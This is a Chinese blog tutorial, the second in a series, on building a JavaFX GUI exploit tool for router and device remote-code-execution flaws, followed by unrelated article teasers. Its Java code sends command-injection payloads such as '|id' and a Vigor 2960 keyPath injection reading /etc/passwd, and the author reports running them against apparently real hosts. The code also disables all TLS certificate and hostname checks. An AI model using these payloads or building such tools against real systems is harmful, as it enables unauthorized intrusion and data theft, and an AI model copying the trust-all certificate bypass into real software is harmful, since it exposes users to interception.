JAVA-GUI工具的编写-----请求篇

news2024/11/24 3:36:08

上节我们说到,我们制作了样子货的GUI,但是没有嵌入任何的按钮事件,并且上一次忘记加进去命令执行的确定按钮,让我们简单的回顾一下子吧

import javafx.application.Application;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.ChoiceBox;
import javafx.scene.control.Label;
import javafx.scene.control.TextArea;
import javafx.scene.image.Image;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;

public class GuiDemo extends Application {      //创建一个GuiDemo类,GuiDemo继承Application类
    public void start(Stage GuiDemo) {          //创建一个无返回的start方法,Stage GuiDemo是JAVAFX里面的一个属性
        //设置title
        GuiDemo.setTitle("GUI小DEMO  by:vlan911 ");  //设置小工具的标题
        GuiDemo.setMaxWidth(700);   //设置小工具的最大宽度
        GuiDemo.setMaxHeight(500);  //设置小工具的最大高度

        //设置icon
        GuiDemo.getIcons().add(new Image("22.jpg"));    //设置GUI的小图标,图标需要放在classes目录下或是网上的在线图片

        //添加URL文字提示
        Label l = new Label("请输入URL");      //设置一个lable,用来显示提示文字
        l.setLayoutX(5);        //设置lable的横坐标
        l.setLayoutY(10);       //设置lable的纵坐标
        l.setPrefWidth(70);     //设置lable的宽度
        l.setPrefHeight(20);    //设置lable的高度

        //添加URL文本框
        TextArea textArea = new TextArea();     //添加一哥文本框,用来接收URL
        textArea.setLayoutX(75);        //设置文本框的横坐标
        textArea.setLayoutY(5);         //设置文本框的纵坐标
        textArea.setPrefWidth(220);     //设置文本框的宽度
        textArea.setPrefHeight(20);     //设置文本框的高度

        //添加下拉按钮
        String strings[] = {"Kyan RCE", "Sapido RCE", "Vigor 2960 RCE"};    //添加一个字符串数组
        ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(strings));    //添加一个下拉列表,内容就是上面的字符串数组
        choiceBox.setLayoutX(315);  //设置下拉列表的横坐标
        choiceBox.setLayoutY(10);   //设置下拉列表的纵坐标
        choiceBox.setPrefHeight(20);    //设置下拉列表的高度
        choiceBox.setPrefWidth(70);     //设置下拉列表的宽度

        //添加确定按钮
        Button button = new Button("确定");   //添加一个按钮
        button.setLayoutX(405);     //设置按钮的横坐标
        button.setLayoutY(10);      //设置按钮的纵坐标
        button.setPrefHeight(20);   //设置按钮的高度
        button.setPrefWidth(50);    //设置按钮的宽度

        //添加回显文本框
        TextArea textArea1 = new TextArea();        //添加一个回显文本框
        textArea1.setLayoutX(5);        //设置文本框的横坐标
        textArea1.setLayoutY(100);      //设置文本框的纵坐标
        textArea1.setPrefHeight(300);   //设置文本框的高度
        textArea1.setPrefWidth(500);    //设置文本框的宽度

        textArea1.setWrapText(true);    //设置文本框里的文字自动换行
        textArea1.setText("Kyan信息泄露漏洞\n" +
                "Kyan命令注入漏洞\n" +
                "Sapido命令执行漏洞\n" +
                "Vigor 2960命令执行\n" +
                "博华网龙RCE\n" +
                "西迪特WirelessRCE");


        //添加执行命令文字提示
        Label l1 = new Label("请输入命令");
        l1.setLayoutX(5);
        l1.setLayoutY(62);
        l1.setPrefWidth(70);
        l1.setPrefHeight(20);
        //添加命令文本框
        TextArea textArea2 = new TextArea();
        textArea2.setLayoutX(75);
        textArea2.setLayoutY(55);
        textArea2.setPrefHeight(20);
        textArea2.setPrefWidth(220);

        //添加执行按钮
        Button button1 = new Button("执行");
        button1.setLayoutX(315);
        button1.setLayoutY(62);
        button1.setPrefHeight(20);
        button1.setPrefWidth(50);

        textArea2.setText("请输入命令...");

        //添加一个pane,用来装填按钮等插件
        AnchorPane anchorPane = new AnchorPane();   //添加一个pane,用来装后面的小插件
        anchorPane.getChildren().addAll(textArea, choiceBox, button, l, textArea1,textArea2,l1,button1);  //调用getChildren方法的addAll方法,写死就行,括号里的就是我们添加的插件名字
        Scene scene = new Scene(anchorPane, 600, 700);  //社子和Pane的默认宽度、高度,不能超过设置的窗口临界值
        GuiDemo.setScene(scene);    //把窗口的属性填进去
        GuiDemo.show();    //显示窗口,否则运行的话是没有东西的
    }

    public static void main(String args[]) {
        launch(args);
    }
}

在这里插入图片描述

今天我们继续讲解,首先我们看一下正常的HTTP请求

HTTP请求

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;

public class HttpTemp {
    //HTTP方法里面给了三个形参,分别是字符串类型的请求URL、请求的类型(GET/POST)、请求体
    public static String HTTP(String requestUrl, String requestMethod, String outputStr) {
        //先定义一个buffer字符串缓冲区
        StringBuilder buffer = null;
        try {
            //new一下url,将HTTP方法中的requestUrl重新赋值
            URL url = new URL(requestUrl);
            //建立一个HTTP连接
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            //http正文内,因此需要设为true
            conn.setDoOutput(true);
            conn.setDoInput(true);
            //设置请求的方法,这样的话无论是GET型请求还是POST型请求我们都适用
            conn.setRequestMethod(requestMethod);
            //连接请求
            conn.connect();
            //往服务器端写内容 也就是发起http请求需要带的参数
            if (null != outputStr) {
                //接收请求的body数据流
                OutputStream os = conn.getOutputStream();
                os.write(outputStr.getBytes(StandardCharsets.UTF_8));
                os.close();
            }

            //读取服务器端返回的内容
            InputStream is = conn.getInputStream();
            InputStreamReader isr = new InputStreamReader(is, StandardCharsets.UTF_8);
            //读取一下字节流
            BufferedReader br = new BufferedReader(isr);
            //其实这里可以与13行写一起 ,即 StringBuilder buffer = new StringBuilder();
            buffer = new StringBuilder();
            //创建一个字符类型,迎来接收返回内容
            String line = null;
            while ((line = br.readLine()) != null) {
                //逐行将返回内容加载到buffer字符串缓冲区
                buffer.append(line);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        //其实这一行写不写都行,写的目的是防止buffer不为空,但是为空了似乎也并不会影响输出
        assert buffer != null;
        //输出打印一下,要想打印Stringbuilder类型的内容,必须toString才行
        System.out.println(buffer.toString());
        //因为这是一个有返回类型的HTTP方法,所以也需要return一个String类型的值,这里返回buffer.toString()即可
        return buffer.toString();
    }

    public static void main(String[] args) throws Exception {
        HTTP("http://xxx/api/get-users?p=123&pageSize=123","GET",null);
    }
}


我们可以看到,我们首先给他一个GET请求,请求体为空的话直接null即可

我们以Cas***的用户名密码信息泄露为案例进行简单的思考
在这里插入图片描述
请求是没问题的 ,我们再看一下POST请求吧

public static void main(String[] args) throws Exception {
        HTTP("http://xxx/cgi-bin/jumpto.php?class=diagnosis&page=config_save&isphp=1","POST","call_function=ping&iface=eth0&hostname=127.0.0.1|id");
    }

我们以西***的未授权RCE为案例,我们看一下输出结果如何
在这里插入图片描述
此时此刻是没问题的,诚然,我一开始也是这么想。细心的小伙伴会发现,我请求的都是HTTP请求,正如我所说的那样,如果是HTTPS请求呢?
在这里插入图片描述

报错是必然的,因为证书校验过不去,无论是java还是python,都需要处理一下请求。经过笔者的实验,使用jdk原生的方法是不好的,因为需要单独处理HTTP以及HTTPS,我需要先对HTTP以及HTTPS请求做判断,这并不好,在请教了大佬之后,大佬推荐我使用okhttp3这个包,这个是人家写好的,好处就是方便,坏处就是请求封装全变了~

首先,我们配置一下pom.xml的内容,这里使用的fastjson和jsoup是带漏洞的,根据自己的实际需求去升级哈

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion><groupId>org.example</groupId>
    <artifactId>newrouter</artifactId>
    <version>1.0-SNAPSHOT</version><properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties><dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.73</version>
        </dependency>
        <dependency>
            <groupId>org.jsoup</groupId>
            <artifactId>jsoup</artifactId>
            <version>1.10.2</version>
        </dependency>
        <dependency>
            <groupId>com.squareup.okio</groupId>
            <artifactId>okio</artifactId>
            <version>1.16.0</version>
        </dependency><dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-api</artifactId>
            <version>1.7.25</version>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-simple</artifactId>
            <version>2.0.3</version>
            <scope>compile</scope>
        </dependency><dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.30</version>
        </dependency>
        <dependency>
            <groupId>com.squareup.okhttp3</groupId>
            <artifactId>okhttp</artifactId>
            <version>4.9.3</version>
        </dependency>
        <dependency>
            <groupId>com.squareup.okhttp3</groupId>
            <artifactId>okhttp</artifactId>
            <version>3.10.0</version>
        </dependency><dependency>
            <groupId>com.squareup.okio</groupId>
            <artifactId>okio</artifactId>
            <version>1.13.0</version>
        </dependency>
        <dependency>
            <groupId>org.example</groupId>
            <artifactId>newrouter</artifactId>
            <version>1.0-SNAPSHOT</version>
        </dependency>
        <dependency>
            <groupId>org.openjfx</groupId>
            <artifactId>javafx-web</artifactId>
            <version>17.0.2</version>
        </dependency></dependencies></project>

在这里插入图片描述

import okhttp3.*;

import javax.net.ssl.*;
import java.net.URL;

public class HttpRequest {
    //第一个方法是用来跳过证书校验环节的,是我copy过来的
    public static OkHttpClient getUnsafeOkHttpClient() {
        try {
            final TrustManager[] trustAllCerts = new TrustManager[]{
                    new X509TrustManager() {
                        @Override
                        public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) {
                        }

                        @Override
                        public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) {
                        }

                        @Override
                        public java.security.cert.X509Certificate[] getAcceptedIssuers() {
                            return new java.security.cert.X509Certificate[]{};
                        }
                    }
            };

            final SSLContext sslContext = SSLContext.getInstance("SSL");
            sslContext.init(null, trustAllCerts, new java.security.SecureRandom());
            final javax.net.ssl.SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();
            OkHttpClient.Builder builder = new OkHttpClient.Builder();
            builder.sslSocketFactory(sslSocketFactory);

            builder.hostnameVerifier(new HostnameVerifier() {
                @Override
                public boolean verify(String hostname, SSLSession session) {
                    return true;
                }
            });

            return builder.build();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }


    //因为更改了玩法,所以需要分开写post请求和get请求,这里的post请求我给他两个参数,
    // 分别是请求地址requestUrl以及请求body体outputStr,大家可以根据自己的实际需求增加,比如增加一个cookie,在get请求里会介绍
    public static String http_post(String requestUrl, String outputStr) throws Exception {
        //首先给一个全局变量resquestbody,用来接收返回结果
        String resquestbody = "";

        try {
            //实例化URL,给requestUrl赋给url参数
            URL url = new URL(requestUrl);
            //这里和第61行可以写一块,这么写仅仅是为了美观
            Request request = null;
            //这个与第63行可以写一块,这么写仅仅是为了美观
            RequestBody requestBody;
            //与StringBuilder有异曲同工之处,只可意会不可言传
            Request.Builder builder = new Request.Builder();
            //将请求的包加载进去,加载的时候必须跟上content-type属性
            requestBody = RequestBody.create(MediaType.parse("application/x-www-form-urlencoded"), outputStr);
            //这里面用的其实是httpok的request方法,builder.get()并不是说是get请求,而是用来获取里面的参数
            /*
             * url(url)  获取URL
             * post(requestBody)  post方法,获取方法体
             * addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;")  添加一个cookie
             * */
            request = builder.get()
                    .url(url)
                    .post(requestBody)
                    .addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;")
                    .build();

            //OkHttpClient okHttpClient = new OkHttpClient();
            //注意,这里 是关键,不用这个https的依然会报错
            OkHttpClient okHttpClient = getUnsafeOkHttpClient();
            Response response;
            try {
                //接收请求,没什么可说的
                response = okHttpClient.newCall(request).execute();
                //System.out.println(response.body().string());
                assert response.body() != null;
                //获取返回包的包体,和python挺像的,这里需要使用string()方法
                resquestbody = resquestbody + response.body().string();
            } catch (Exception e) {
                //log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());
                //System.out.println(e.getMessage());
                //如果执行出错了,会打印异常日志,他和上面的是一起的,如果try里的全执行了就不会跑到这,
                // 如果try里面执行了一半挂了,依然会跑到这。感兴趣的小伙伴可以自己试验一下
                resquestbody = e.getMessage();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        System.out.println(resquestbody);
        return resquestbody;
    }

    //为了方便演示,这里面给大家引入了一个新的session,其实就是如果我想把参数灵活起来用,应该怎么玩
    public static String http_get(String requestUrl, String session) throws Exception {
        //依然是先给一个全局变量
        String resquestbody = "";

        try {
            //实例化一个新的url
            URL url = new URL(requestUrl);
            Request request = null;
            Request.Builder builder = new Request.Builder();
            //老生常谈了,没啥可说的,cookie直接从局部变量接收就行,因为他是一个字符串,直接用也行
            request = builder.get()
                    .url(url)
                    .get()
                    .addHeader("Cookie", session)
                    .build();
            //OkHttpClient okHttpClient = new OkHttpClient();
            OkHttpClient okHttpClient = getUnsafeOkHttpClient();
            Response response;
            try {
                response = okHttpClient.newCall(request).execute();
                assert response.body() != null;
                resquestbody = resquestbody + response.body().string();

                //System.out.println(resquestbody);
            } catch (Exception e) {
                //log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());
                resquestbody = e.getMessage();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println(resquestbody);
        return resquestbody;
    }

    public static void main(String[] args) throws Exception {
        //http_get("http://xxx/api/get-users?p=123&pageSize=123","");
        //http_get("https://xxx/diagnostics/cmd.php?action=arping&ifName=|id||","");
        http_post("https://xxx/cgi-bin/mainfunction.cgi","action=login&keyPath='%0A/bin/cat${IFS}/etc/passwd%0A'&loginUser=a&loginPwd=a");
    }
}

分别已3个案例为代表进行演示,分别为post请求的V***2960 RCE/

Cas*** 信息泄露的 GET请求 (http)

西**的RCE get请求(https)

post请求的https就不演示了哈
在这里插入图片描述
总感觉这个站被人家搞了,shadow文件的内容跑password里去了
在这里插入图片描述
在这里插入图片描述
此时说明封装的httprequest类是可以用的,嘿嘿,我们接着往下走

篇幅有点长了,要不就先这样,牙膏下次挤,下次一定哈

​下期将会给大家介绍,​如何将请求与按钮的事件联动起来,如何自定义输出语句达到EXP的效果,我们,

敬请期待吧!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/46387.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

R在GIS中用ggmap地理空间数据分析

概要 做过O2O&#xff08;Online To Offline,在线离线/线上到线下&#xff09;的小伙伴知道&#xff0c;GIS数据需要具体到精准的位置(即经纬度)&#xff1b;对于连锁门店&#xff0c;使用GIS和其它的数据密集型服务遵循一个简单的逻辑&#xff1a;数据有助于企业节省开支&…

Vilatile底层逻辑总结

#### 增加volatile 使用JIT优化的时候 禁止出现语句重排 #### volatile是Java虚拟机提供的轻量级同步机制。 - 保证可见性 - 不保证原子性&#xff08;整体流程成功 整体流程失败&#xff09;如果要保证原子性-加 synchronized 或者直接使用 Automic 原子类 - 禁止指令重排&am…

VBA Regex 正则表达式应用介绍

. VBA正则表达式介绍 正则表达式或 RegEx 用于在字符串中查找特定的字符。 本文将展示一个 VBA RegEx 示例,并演示为什么在 VBA 中使用正则表达式如此强大。 正则表达式是一个比较大的话题,关于这方面的书很多。 同时也是一个让许多人感到害怕的话题,因为它的语法比较神秘和…

【论文笔记】ASYMMETRIC SELF-PLAY FOR AUTOMATIC GOAL DISCOVERY IN ROBOTIC MANIPULATION

【论文笔记】ASYMMETRIC SELF-PLAY FOR AUTOMATIC GOAL DISCOVERY IN ROBOTIC MANIPULATION ABSTRACT 【主要工作】用一个单一的、有目标条件的策略来解决许多机器人操作任务&#xff0c;包括对之前未见过的物体的操作。 【主要方法】对于目标发现过程采用非对称自我博弈方法…

Java 输入输出流简介和应用 (Java实现序列化工具类)

目录 简介 常用模板 实现序列化工具类 简介 应用场景 代码 简介 Java 流相关的类都封装在 java.io 包中&#xff0c;而且每个数据流都是一个对象。所有输入流类都是 InputStream 抽象类&#xff08;字节输入流&#xff09;和 Reader 抽象类&#xff08;字符输入流&#…

ISP Tuning

ISP Tuning1. 简介2. 常用算法2.1 BLC2.2 AWB (处理色温引起的偏色问题)2.2.1 色温&#xff08;Color Temperature:温度越低色温越高&#xff09;2.2.2 为什么需要AWB &#xff08;消除光源颜色的影响&#xff09;2.2.3 AWB的目标2.2.4 如何实现自动白平衡 (先确定色温然后找对…

汽配erp管理系统目前有哪些公司提供了解决方案?

之前的一个朋友提问&#xff1a;我们是一个有200人左右的汽车配件供应商&#xff0c;为了迎合整车厂家的需要&#xff0c;提高自身管理运作的效率&#xff0c;准备上erp管理软件来规范企业的运作。现阶段我们内部管理的信息化程度比较低&#xff0c;从库房到现场作业都是靠纸质…

【Labivew】G语言

&#x1f6a9;write in front&#x1f6a9; &#x1f50e;大家好&#xff0c;我是謓泽&#xff0c;希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流&#x1f50e; &#x1f3c5;2021年度博客之星物联网与嵌入式开发TOP5&#xff5…

第七章 贝叶斯分类器(上)

7.1 贝叶斯决策论 贝叶斯决策论是概率框架下实施决策的基本方法。 假设有N种可能的类别标记&#xff0c;即y{c1,c2,…,cn}&#xff0c;λij是将一个真实标记为cj的样本误分类为ci所产生的损失。基于后验概率P(ci | x)可获得将样本x分类为ci所产生的期望损失&#xff0c;即在样…

C++多态总结

多态的概念 多态的基本概念 多态支持不同对象完成不同的行为。 定义“人”为一种对象&#xff0c;那么不同的人对于一件事会有不同的行为。 比如&#xff1a;普通人买票时&#xff0c;票价为全价。 学生买票时&#xff0c;是半价买票。 军人买票时则可优先买票。同属于人这一大…

java项目-第165期ssm咨询交流论坛_ssm毕业设计_计算机毕业设计

java项目-第165期ssm咨询交流论坛_ssm毕业设计_计算机毕业设计 【源码请到资源专栏下载】 今天分享的项目是《ssm咨询交流论坛》 该项目分为2个角色&#xff0c;管理员和用户。 用户可以浏览前台,包含功能有&#xff1a; 首页、学校风采、师资力量、投稿信息 、论坛交流、系统公…

认识vue3以及语法运用简介

Vue3支持2的大多数特性 性能提升: 打包大小减少41%, 初次渲染快55%,更新快133%, 内存使用减少54% 推出一系列组合型API ref与reactive watch与computed 新的声明周期函数。 一、组合API------reactive、ref 与 toRefs 在Vue2.x中&#xff0c;定义数据都是在data中&#xff0c;但…

LeetCode——Weekly Contest 320(附动态规划解题思路)

LeetCode周赛第320场记录 质量还不错的一场周赛&#xff0c;也可以学到不少知识。 2475. 数组中不等三元组的数目(排序荷兰国旗问题) 这道题非常简单&#xff0c;就是从头向后一一找出不含重复数字的三元组。我在比赛时直接写了一个三重循环暴力来解&#xff0c;这道题的数据…

WebDAV之葫芦儿·派盘+元思笔记

元思笔记 支持webdav方式连接葫芦儿派盘。 卡片笔记不仅是笔记爱好者,学生、医生、投资等各行各业的人都在不约而同的夸赞元思笔记的好。这是一款面向大众的卡片笔记软件,解决了笔记类软件的一个痛点:绝大多数人都很难坚持每天记一点东西。任何笔记工具,不论是纸笔还是电…

时序特征提取工具

在选择了需要提取的特征&#xff0c;确定了时序数据特征提取数据集的长度并对先验知识建模之后&#xff0c;就需要利用工具搭建特征提取系统。科研机构围绕不同问题域搭建的开源时序数据特征提取工具已经不少&#xff0c;我们可以利用这些工具快速实现希望达成的算法效果。下面…

[附源码]Python计算机毕业设计Django的残障人士社交平台

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

相控阵天线(十):波束跃度、虚位技术、幅度相位误差分析(含代码)

目录简介波束跃度不同移相器位数对方向图的影响不同移相器位数对波束跃度的影响虚位技术不同虚位位数对指向精度的影响不同虚位位数对副瓣电平的影响幅度相位误差分析随机误差周期误差Python代码示例简介 阵列天线的成本、批量和可制造性等实际问题的解决方案的选择直接影响阵…

[msyql]实战:关于回表的一次查询优化实战

起因与前置环境思考与解决方案 第一个理解与方法——分块分页第二个理解与方法——拆分子查询第三个理解与方法——拆分子查询分块分页 原理浅析与总结 回表和索引覆盖的浅解 原理简单说明MYSQL中回表的实现 总结与收获 起因与前置环境 目前在职的公司是已经运转挺久的电商类…

leetcode 343. 整数拆分(动态规划)

题目链接&#xff1a;343. 整数拆分 动态规划 (1) 确定 dpdpdp 数组下标含义&#xff1a; dp[i]dp[i]dp[i]: 将 iii 拆分为至少两个正整数之后的最大乘积&#xff1b; (2) 确定递推公式&#xff1a; 当 i≥2i \ge 2i≥2 时, 设 jjj 是 iii 拆分出来的第一个正整数&#xff0c…

1990-2021年全国30省城镇登记失业率

1、时间&#xff1a;1990-2021年 2、来源&#xff1a;整理自统计NJ 3、数据说明&#xff1a; 包括全国30个省份&#xff0c;不包括西藏&#xff0c;其中北京、天津、辽宁、吉林、江苏、浙江、湖南、四川、新疆2021年数据存在缺失&#xff0c; 内含原始数据&#xff0c;线性…